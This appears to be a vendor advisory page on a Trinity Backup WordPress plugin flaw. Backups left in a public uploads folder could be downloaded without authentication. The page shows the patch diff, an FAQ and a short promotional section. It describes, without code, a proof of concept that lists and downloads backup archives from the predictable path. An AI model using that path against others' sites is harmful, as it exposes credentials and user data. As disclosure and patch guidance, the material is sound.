$response = [
'status' => 'done',
'stage' => 'done',
@@ -189,6 +191,15 @@
return $response;
}
+ private function cleanupTemporaryArtifacts(array $state): void
+ {
+ foreach (['db_path', 'manifest_path'] as $key) {
+ if (!empty($state[$key]) && is_string($state[$key])) {
+ StorageSecurity::deleteFileInsideBase($state[$key]);
+ }
+ }
+ }
+
private function getTimeLimit(): int
{
$value = (int) get_option('trinity_backup_time_limit', self::DEFAULT_TIME_LIMIT);
--- a/trinity-backup/src/Engine/Pipeline.php
+++ b/trinity-backup/src/Engine/Pipeline.php
@@ -9,6 +9,7 @@
}
use TrinityBackupCoreStateManager;
+use TrinityBackupCoreStorageSecurity;
use TrinityBackupEngineStepsExportDatabase;
use TrinityBackupEngineStepsExportFiles;
use TrinityBackupFilesystemFilesystemInterface;
@@ -53,7 +54,8 @@
$jobId = $this->stateManager->create();
$uploads = wp_upload_dir();
- $baseDir = trailingslashit($uploads['basedir']) . 'trinity-backup/' . $jobId;
+ $backupBaseDir = StorageSecurity::ensureBaseDirectory();
+ $baseDir = StorageSecurity::ensureJobDirectory($jobId);
$this->filesystem->ensureDir($baseDir);
// Write simple metadata to identify how this backup was created.
@@ -75,7 +77,7 @@
$archivePath = $baseDir . '/' . $jobId . '.trinity';
// Build exclude directories based on options
- $excludeDirs = [trailingslashit($uploads['basedir']) . 'trinity-backup'];
+ $excludeDirs = [$backupBaseDir];
if (!empty($options['no_media'])) {
$excludeDirs[] = trailingslashit($uploads['basedir']);
@@ -175,8 +177,8 @@
private function buildDoneResponse(array $state): array
{
- $uploads = wp_upload_dir();
- $downloadUrl = trailingslashit($uploads['baseurl']) . 'trinity-backup/' . $state['job_id'] . '/' . $state['job_id'] . '.trinity';
+ $this->cleanupTemporaryArtifacts($state);
+ $downloadUrl = StorageSecurity::buildDownloadUrl((string) $state['job_id']);
return [
'status' => 'done',
@@ -188,6 +190,15 @@
];
}
+ private function cleanupTemporaryArtifacts(array $state): void
+ {
+ foreach (['db_path', 'manifest_path'] as $key) {
+ if (!empty($state[$key]) && is_string($state[$key])) {
+ StorageSecurity::deleteFileInsideBase($state[$key]);
+ }
+ }
+ }
+
private function getTimeLimit(): int
{
$value = (int) get_option('trinity_backup_time_limit', self::DEFAULT_TIME_LIMIT);
--- a/trinity-backup/src/Engine/Steps/ExportDatabase.php
+++ b/trinity-backup/src/Engine/Steps/ExportDatabase.php
@@ -157,6 +157,15 @@
$escapedTable = str_replace('`', '``', $table);
// Фильтрация спам-комментариев
+ if ($table === $wpdb->options) {
+ return sprintf(
+ "SELECT * FROM `%s` WHERE option_name != 'trinity_backup_current_job' AND LEFT(option_name, 21) != 'trinity_backup_state_' LIMIT %d, %d",
+ $escapedTable,
+ $offset,
+ $limit
+ );
+ }
+
if ($noSpam && $table === $wpdb->comments) {
return sprintf(
"SELECT * FROM `%s` WHERE comment_approved != 'spam' LIMIT %d, %d",
--- a/trinity-backup/trinity-backup.php
+++ b/trinity-backup/trinity-backup.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Trinity Backup - Backup, Migrate, Restore, Clone & Schedule Backups
* Description: Lightweight backup and migration plugin with chunked processing, streaming archives, and optional AES-256 encryption. Create full site backups, migrate between servers, and restore with ease.
- * Version: 2.0.9
+ * Version: 2.0.10
* Author: KingAddons.com
* Author URI: https://trinity.kingaddons.com
* License: GPLv2 or later
@@ -154,4 +154,6 @@
require_once __DIR__ . '/src/Core/Autoloader.php';
TrinityBackupCoreAutoloader::register();
+register_activation_hook(__FILE__, [TrinityBackupCoreStorageSecurity::class, 'install']);
+
TrinityBackupCorePlugin::init();
Frequently Asked Questions
What is CVE-2026-54839?
Vulnerability overviewCVE-2026-54839 is a medium-severity vulnerability in the Trinity Backup plugin for WordPress, affecting versions up to and including 2.0.9. It allows unauthenticated attackers to download backup archives containing sensitive data such as database credentials, user information, and site configurations.
How does the vulnerability work?
Technical explanationThe plugin stores backup files in the publicly accessible wp-content/uploads/trinity-backup/ directory. An attacker can directly access these files via predictable URLs without authentication, because the plugin uses the uploads directory’s base URL to generate download links.
Who is affected by this vulnerability?
Affected usersAny WordPress site running Trinity Backup version 2.0.9 or earlier is affected. Sites using version 2.0.10 or later are not vulnerable.
How can I check if my site is vulnerable?
DetectionCheck the plugin version in the WordPress admin dashboard under Plugins. If the version is 2.0.9 or lower, your site is vulnerable. You can also test by attempting to access /wp-content/uploads/trinity-backup/ in a browser; if directory listing is enabled or backup files are accessible, the site is vulnerable.
What is the practical risk of this vulnerability?
Risk assessmentAn attacker can download complete backup archives containing the entire WordPress database and file system. This includes user credentials, password hashes, session tokens, and wp-config.php with database credentials, leading to full site compromise.
How do I fix this vulnerability?
Patch instructionsUpdate the Trinity Backup plugin to version 2.0.10 or later, which moves backup storage out of the public uploads directory and requires authentication to download backups.
What if I cannot update the plugin immediately?
Mitigation stepsUse a web application firewall (WAF) rule to block access to /wp-content/uploads/trinity-backup/ paths. Additionally, you can manually move existing backup files to a non-public directory and restrict directory listing via server configuration.
How does the proof of concept demonstrate the issue?
PoC explanationThe proof of concept script attempts to list files in the trinity-backup directory and download any .trinity files found. It also tries common backup filenames. Successful download of a backup file confirms the vulnerability.
What data can be exposed in a backup archive?
Exposed dataBackup archives contain the entire WordPress database (including user data, posts, and settings) and a file system archive with wp-config.php, uploads, plugins, and themes. This exposes database credentials, user passwords, and sensitive configuration.
How was the vulnerability fixed in version 2.0.10?
Patch analysisThe patch introduces a StorageSecurity class that moves backups to a protected directory and generates download URLs via admin-ajax.php with nonce verification. It also adds capability checks and path traversal sanitization.
Is this vulnerability actively exploited?
Exploitation statusAs of the disclosure date, there is no public evidence of active exploitation. However, the vulnerability is easy to exploit, so immediate patching is recommended.
What is the CVSS score and severity?
Severity detailsThe vulnerability has a CVSS score of 5.3, classified as Medium severity. The score reflects the low complexity and network-based attack vector with no authentication required, but the impact is limited to information disclosure.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






